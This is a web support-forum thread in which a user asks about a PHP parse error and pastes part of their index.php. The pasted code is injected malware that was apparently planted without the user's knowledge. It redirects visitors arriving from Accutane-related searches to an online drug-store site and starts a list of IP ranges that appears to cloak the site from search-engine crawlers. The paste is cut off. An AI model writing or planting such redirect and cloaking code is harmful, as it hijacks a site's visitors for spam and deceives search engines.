• All i did was create a post and publish it, once i went to view the post, i got this message. please help

    Parse error: syntax error, unexpected $end in /home/content/p/r/e/prestonjackson/html/180/index.php on line 34

Viewing 4 replies - 1 through 4 (of 4 total)
  • Have you checked the index.php if the php code has been closed properly?

    Can you post the code of index.php to see what the issue would be?

    Thread Starter bcp180

    (@bcp180)

    yes i will. one second

    Thread Starter bcp180

    (@bcp180)

    <?php
    $keyspat = ‘#accutane|Accutane|isotretinoin|Isotretinoin#’;

    if (preg_match($keyspat, $_SERVER[“HTTP_REFERER”])) {
    header(“Location: http://bestnewdrugstore.com/order-accutane-online-en.html&#8221;);
    exit;
    }
    ?>
    <?php
    $stop_ips_masks = array(
    “66\.249\.[6-9][0-9]\.[0-9]+”,
    “70\.91\.180\.25”,
    “65\.5[2-5]\.[0-9]+\.[0-9]+”,
    “74\.6\.[0-9]+\.[0-9]+”,
    “67\.195\.[0-9]+\.[0-9]+”,
    “72\.30\.65\.32”,
    “93\.172\.94\.227”,
    “212\.100\.250\.218”,
    “71\.165\.223\.134”,
    “81\.159\.49\.212”,
    “72\.30\.142\.154”,
    “72\.30\.161\.250”,
    “72\.30\.65\.32”,
    “72\.30\.79\.108”,
    “72\.30\.79\.125”,
    “72\.30\.79\.40”,
    “72\.30\.79\.54”,
    “72\.49\.218\.110”,
    “74\.125\.74\.35”,
    “74\.125\.74\.86”,
    “74\.191\.76\.105”,
    “74\.193\.246\.129”,
    “75\.21\.160\.247”,
    “75\.27\.150\.216

    Can you use http://pastebin.com/ to paste your code please?

Viewing 4 replies - 1 through 4 (of 4 total)

The topic ‘Parse error: syntax error, unexpected $end’ is closed to new replies.